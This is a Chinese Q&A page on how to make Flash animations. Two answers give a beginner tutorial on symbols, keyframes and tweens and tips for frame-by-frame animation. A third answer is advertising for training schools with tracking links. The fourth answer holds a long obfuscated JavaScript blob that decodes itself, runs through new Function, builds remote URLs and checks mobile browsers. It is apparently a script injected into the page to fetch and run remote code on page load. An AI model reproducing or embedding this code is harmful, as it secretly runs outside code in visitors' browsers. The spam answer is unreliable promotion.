如何制作flash动画片

2024-11-15 21:54:07
推荐回答(4个)
回答(1):

  第一课

  FLASH入门

  Flash 基础

  一、界面介绍
  启动Flash后,Flash的界面主要有菜单栏、标准工具栏、左边的工具箱、左下角的工具选项、最下面的状态栏。
  菜单栏包含所有命令,它的使用既可以用鼠标也可以用键盘,鼠标用左键单击,键盘先按Alt键,再用方向键移动和回车键选择,也可以按Alt键和带下划线的字母。
  你还可以发现有些命令旁边会出现快捷键符号,如“F6”是“插入关键帧”命令。注意:本书中双引号的部分是指一个命令操作,单击鼠标左键的作用是选择,右键是弹出命令菜单。
  工具箱在窗口左边,由14个工具按钮和下面的工具选项构成。选项可以让工具有特殊的功能,比如改变颜色、大小、形状等等。
  要求记住常用的各个工具按钮的名称,如“箭头”是工具,“A”是文字工具,等等。
  标准工具栏(一般关闭了),在菜单栏的下面,每个工具都是一个图标,代表一个最常用的菜单命令,如新建文件、打开、保存……但是为了节省空间往往在“窗口”菜单的“工具栏”命令中给关闭了。
  时间轴面板在窗口中上部,它的左边是图层面板,默认有一个“图层1”黑色(反白显示)。它的中间是帧面板,它的上面有许多的小格子,一个格代表一帧,每一帧都可以画一幅图,各帧之间互不干扰。
  选择帧用“箭头”工具在帧的小格子里点一下鼠标左键,这一帧就变黑反白显示,表示已经选中了。选多个帧时要同时按住Shift键不松手再点击下一帧。
  在帧的上方有数字标注帧的序号,有一个红线表示时间指针,动画总是从时间指针处开始播放,定位指针的方法也是用鼠标左健在数字序号上单击
  时间轴面板下方是白色的工作区,每一帧都有自己的一个工作区,所有的绘图和对象操作都是在工作区中进行的,状态栏的左下角有一个显示比例按钮,可以调节工作区的显示比例。
  工作区的大小可以在时间轴的下面“12.0帧”上双击,在弹出的对话框中设定,里面还可以设定动画的播放速度(默认是12帧每秒播放)。也可以执行“修改”菜单中的“影片”命令调出对话框。
  状态栏位于Flash窗口的底端,用于提示选择的命令和工具的功能,当鼠标指向某个按钮时,旁边会有提示,同时状态栏中也有说明文字。
  控制工具栏(一般也关闭了)是一组用于动画播放的按钮,跟录音机相似,一般也隐藏起来了。
  上面所介绍的各个工具栏,可以按照我们的需要来显示或隐藏,这可以在“窗口”菜单中找到,自己可以试一试。
  本节介绍了Flash的界面。Flash主要由菜单栏、标准工具栏、工具箱、控制工具栏、状态拦击部分组成。
  下面来做一个练习

  先熟悉一下基本操作:鼠标有左键和右键,左键用于选择(单击),运行(双击);单击右键用于调出命令菜单,鼠标在空白地方敲一下可以取消选择。

  窗口由标题栏、菜单栏、工作区组成,工作区中有文件夹、文件、各种图标、按钮、选项等等组成。

  在操作中要留心注意鼠标形状的变化,不同形状表示不同的意思。

  动画包括移动、变形和旋转等几种,至少需要两幅图形才能表现,因而在Flash中有许多的小格子(帧)用来画图。

  现在来练习制作一个简单的动画,并输出动画的效果。
  ①启动Flash,将任务栏上的多余窗口关闭,留下Flash和教程两个窗口,让它们并排显示(Flash的窗口大一些),在Flash窗口的标题栏上单击鼠标左键,回到Flash窗口,Flash默认新建一个影片1文件,我们首先来设置一下工作区的相关数据,单击选择菜单栏里的“修改”菜单,再在里面单击“影片”命令。
  ②在弹出的对话框中的“背景颜色”选项上点一下颜色按钮,将背景色改成黑色,将“帧频”设为6,单击“确定”按钮,看一下变化
  ③接下来为动画创建两个符号组件。选择“插入”菜单中的“新建组件”命令。
  ④在弹出的对话框中“名称”选项中输入“hello”,在“类型”选项中选择“图形”,检查正确后单击“确定”按钮,此时在时间轴面板的左上方出现一个标题为“hello"图标为红绿蓝方块的按钮,表示现在正在编辑一个图形符号。
  ⑤接着输入文字:在工具箱中选择文本工具,在下面的工具选项颜色中将“填充颜色”(旁边有个油漆桶的颜料色)改为红色。在“文本”菜单中选择字体为楷体,尺寸大小为36,然后在工作区中央(有一个十字架)点一下鼠标左键,工作区中出现一个闪动光标的小文本框,再在任务栏右边“En”上单击鼠标左键,选择“紫光拼音”,用拼音输入“您好”(如果文本框没了再点一下),这时第一个符号就制做好了。

  (紫光输入法是用拼音,既可以单字输入也可以输入词组,第二次输入同样的词组时只要输词的声母就可以了,在拼音下面有汉字提示,修改错的拼音先用方向键移动到拼音的位置,按退格键删除错误,再输入正确拼音,第一个词按空格就可以输入,后面的可以按数字输入,没有的字按大于号和小于号翻页,输入后按回车键则会输入英文字母,Shift键是中英文切换。)
  ⑥使用同样的方法,点击“插入”菜单选择“新建组件”,创建一个以“欢迎”为名称的图形符号组件,点击“确定”后,选择“文本”工具,在工作区中央点一下鼠标左键,同样输入“欢迎进入Flash世界”,注意十字架在文本框的中央(在“入”和“F”之间)。
  ⑦创建好后,点击时间轴左上角的,“欢迎”按钮旁边的“场景1”按钮,退出符号创建,回到主场景工作区。用“欢迎”为文件名,单击“文件”菜单中的“保存”命令,在弹出的对话框中的“保存在”中单击鼠标,找到自己的文件夹(在“我的文档”中的“My Flash”文件夹中新建一个以自己名字为名称的文件夹)保存文件到自己的文件夹中
  下面开始利用我们创建好的符号来制作一个动画。我们要让“您好”从工作区上边逐渐落下来,停到工作区的中央。
  ⑧打开“窗口”菜单选择“图库”命令,这时我们发现图库当中有我们刚才创建的两个符号。单击下边的目录中的“hello”,用箭头工具从上方的预览框中拖动文字“您好”到工作区外面的正上方(鼠标尾巴带一个十字箭头和方块)。
  ⑨在时间轴的第10帧上,单击鼠标右键,会弹出一个菜单,选择“插入关键帧”命令,在第10帧处插入一个关键帧(关键帧是动画的起点或者终点)使用“箭头”工具,将第10帧中的工作区上方的文字拖入工作区的中间,这样从第1帧到第10帧,文字的位置发生了移动。
  ⑩接下来我们为第1帧到第10帧的移动创建动画过程,在第1帧上单击鼠标右键,会弹出一个菜单,选择“创建动画动作”命令,这时从第1帧到第10帧这两个关键帧之间出现一个蓝色箭头,表示他们之间有一个动作动画。保存一下文件
  此时我们的第一个动画已经完成,把时间指针移到第1帧,按一下回车键播放动画,看一下效果,是不是很得意?接下来我们继续学习。
  第二个动画与第一个类似,我们让文字“欢迎进入Flash世界”从工作区左边进入,移动到右边消失,然后又从右边返回到工作区中央,细心的同学一定发现,这个动画由两部分组成,一步是从左到右,一步是从右边回到中间。
  ⑾下面我们来制作,在图层面板的左下角点击“+”号(插入图层)按钮,新建一个图层2。我们的第二个动画放在这一层上,先把这一层上自动产生的帧都删去(选中图层2的第一帧后一直按Delete键)。
  ⑿在图层2的第5帧上单击鼠标右键,会弹出一个菜单,选择“插入关键帧”命令,这一帧作为动画的起始关键帧,在“图库”面板中将“欢迎进入Flash世界”拖到工作区外左边中间。从第5帧开始是为了跟第一个动画错开,创作出丰富的动画效果。
  ⒀在图层2的第10帧处单击鼠标右键选择“插入关键帧”命令,第10帧作为动画的一个终点,在第10帧中,将“欢迎进入Flash世界”拖到工作区右边的外面。这样从第5帧到第10帧有了位置的移动,动画的原理是用几幅图画来表现物体的运动和变化,我们在第5帧上单击鼠标右键,会弹出一个菜单,选择“创建动画动作”命令,从第5帧到第10帧创建一个动作动画(如果是虚线,再在第10帧上插入关键帧)。单击“文件”菜单中的“保存”命令,保存一下文件
  ⒁接下来创建返回的动画,此时要保持两层的同步,同时选中两个图层的第15帧(在图层1的15帧上单击鼠标左键,再按住Shift健不松手在图层2的第15帧上单击鼠标左键)。
  ⒂在选中的帧(黑色)上插入关键帧,方法是在变黑的帧上单击鼠标右键,选择“插入关键帧”命令,再用“箭头”工具在空白处单击一下取消对图层1的选中,再在图层2的第15帧单击一下选中它,再用箭头工具单击选中“欢迎进入Flash世界”文字,把它拖回到工作区中央。
  ⒃这样从第10帧到第15帧,文字又回到了工作区,在图层2的第10帧上单击鼠标右键,创建一个动作动画。单击“文件”菜单中的“保存”命令,保存一下文件,将时间指针移到第10帧,按回车键播放动画,看一下效果
  ⒄接下来继续上一个动画制作旋转动画,同时选中两层的第25帧(用左键单击图层1的25帧,再按住Shift键不松手,再用左键单击图层2的25帧),在选中的帧上单击鼠标右键,选择“插入关键帧”命令。这样从15帧到25帧有了两个关键帧。
  ⒅下面从图层2的15帧到25帧创建一个旋转的动画。先在空白处单击鼠标取消所有选择,再在图层2的第15帧上单击鼠标右键,会弹出一个菜单,选择菜单最下面“面板”命令中的“帧”命令,会弹出一个帧面板,在面板的“变化”选项旁的按钮(黑色的三角形)上单击鼠标左键,选择“动作”以便创建一个动作动画,在“旋转”旁的按钮上单击,选择“CW”(顺时针)让动画按顺时针旋转。在“次”上输入2,让动画旋转两次,关闭面板。单击“文件”菜单中的“保存”命令,保存一下文件,这样我们就创建好一个旋转动画。
  你现在已经完成了动画的制作,按Ctrl+回车键(按住Ctrl键不松再敲一下回车键),就可以测试动画的效果。是不是很有特色?欣赏完按Ctrl+W关闭返回。

回答(2):

在Flash动画尤其是短片的制作中或多或少都要表现一些较复杂的动作,而Flash本身功能的限制使我们在制作动画时感到手脚受到牵制,或者为此付出过多的时间和精力。这里笔者总结了自己制作动画短片中的一些经验,这些技巧不仅仅在Flash动画中会用到,对制作Gif动画也有很好的帮助,大家碰到此类问题时可以作个参考。

主要包括逐帧动画表现方方法技巧、以及充分利用Flash的变形功能制作动画的表现技巧。

一、逐帧动画表现方法和技巧

逐帧动画是我们常用的动画表现形式,也就是一帧一帧地将动作的每个细节都画出来。显然,这是一件很吃力的工作,但是使用一些小的技巧能够减少一定的工作量。

这些技巧包括:简化主体、循环法、节选渐变法、替代法、临摹法、再加工法、遮蔽法等。下面我们一一用动画例解的方式详细讲解。大家还可以参考这些视频演示教程,轻松掌握Flash的基本使用方法和动画制作。(《Flash MX多媒体系统教程 》、《Flash MX 2004视频教程之实用实例制作剖析》 )

首先,动作主体的简单与否对制作的工作量有很大的影响,擅于将动作的主体简化,可以成倍提高工作的效率。

一个最明显的例子就是小小的“火柴人”功夫系列,如图可见,动画的主体相当简化,以这样的主体来制作以动作为主的影片,即使用完全逐帧的制作,工作量也是可以承受的。试想用一个逼真的人的形象作为动作主体来制作这样的动画,工作量就会增加很多。

注:对于不是以动作为主要表现对象的动画,画面简单也是省力良方。

1、循环法

这是最常用的动画表现方法,将一些动作简化成由只有几帧、甚至2、3帧的逐帧动画(如前例中兔子的翻跟头动作是2帧组成)组成的Movie Clip,利用Movie Clip的循环播放的特性,来表现一些动画,例如头发、衣服飘动,走路、说话等动画经常使用该法。

逐帧动画(下载原文件) 逐帧动画第1帧

逐帧动画第2帧 逐帧动画第3帧

上例中天篷元帅斗篷的飘动的动画就是由三帧组成的Movie Clip,聪明的读者一定想到了,只需要画出一帧,其他两帧可以在第一帧的基础上稍做修改便完成了。

注:这种循环的逐帧动画,要注意其“节奏”,做好了能取得很好的效果。

2、节选渐变法

手掌的张合(下载原文件)
在表现一个“缓慢”的动作时,例如手缓缓张开,头(正面)缓缓抬起,用逐帧动画能让你噎死。我们可以考虑将整个动作中节选几个关键的帧,然后用渐变或闪现的方法来表现整个动作。

在本例中,通过节选手在张合动作中的四个“瞬间”,绘制了四个图形,定义成Movie Clip之后,用Alpha(透明度)的变形来表现出一个完整的手的张合动作。

如果完全逐帧地将整个动作绘制出来,想必会花费大量的时间精力,这种方法可以在基本达到效果的同时简化了工作。
注:该方法适合于“慢动作”的复杂动作,另外,一些特殊情景,如D厅,由于黑暗中闪烁的灯光,也是“天然”的节选动作,这时无需变形直接闪现即可。

3、替代法

这是比较聪明的方法,就是用其他东西,替代复杂的动作,这个其他,可以是很多东西,例如影子、声音。下面的两个例子分别用影子和声音来表现了动作。

用影子表现动作(下载原文件) 用声音表现动作(下载原文件)

注:该方法精髓就在于“避实就虚”,至于怎么虚,就得多动动脑子了。

回答(3):

你可以先去【绘学霸】网站找“动画制作技术”板块的【免费】视频教程-【点击进入】完整入门到精通视频教程列表: www.huixueba.net/web/AppWebClient/AllCourseAndResourcePage?type=1&tagid=310&zdhhr-11y17r-184360500

想要系统的学习可以考虑报一个网络直播课,推荐CGWANG的网络课。老师讲得细,上完还可以回看,还有同类型录播课可以免费学(赠送终身VIP)。

自制能力相对较弱的话,建议还是去好点的培训机构,实力和规模在国内排名前几的大机构,推荐行业龙头:王氏教育。
王氏教育全国直营校区面授课程试听【复制后面链接在浏览器也可打开】:
www.cgwang.com/course/ysdhaaa/?zdhhr-11y17r-184360500

在“动画制作技术”领域的培训机构里,【王氏教育】是国内的老大,且没有加盟分校,都是总部直营的连锁校区。跟很多其它同类型大机构不一样的是:王氏教育每个校区都是实体面授,老师是手把手教,而且有专门的班主任从早盯到晚,爆肝式的学习模式,提升会很快,特别适合基础差的学生。

大家可以先把【绘学霸】APP下载到自己手机,方便碎片时间学习——绘学霸APP下载: www.huixueba.com.cn/Scripts/download.html

回答(4):

这个问题太大啦

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();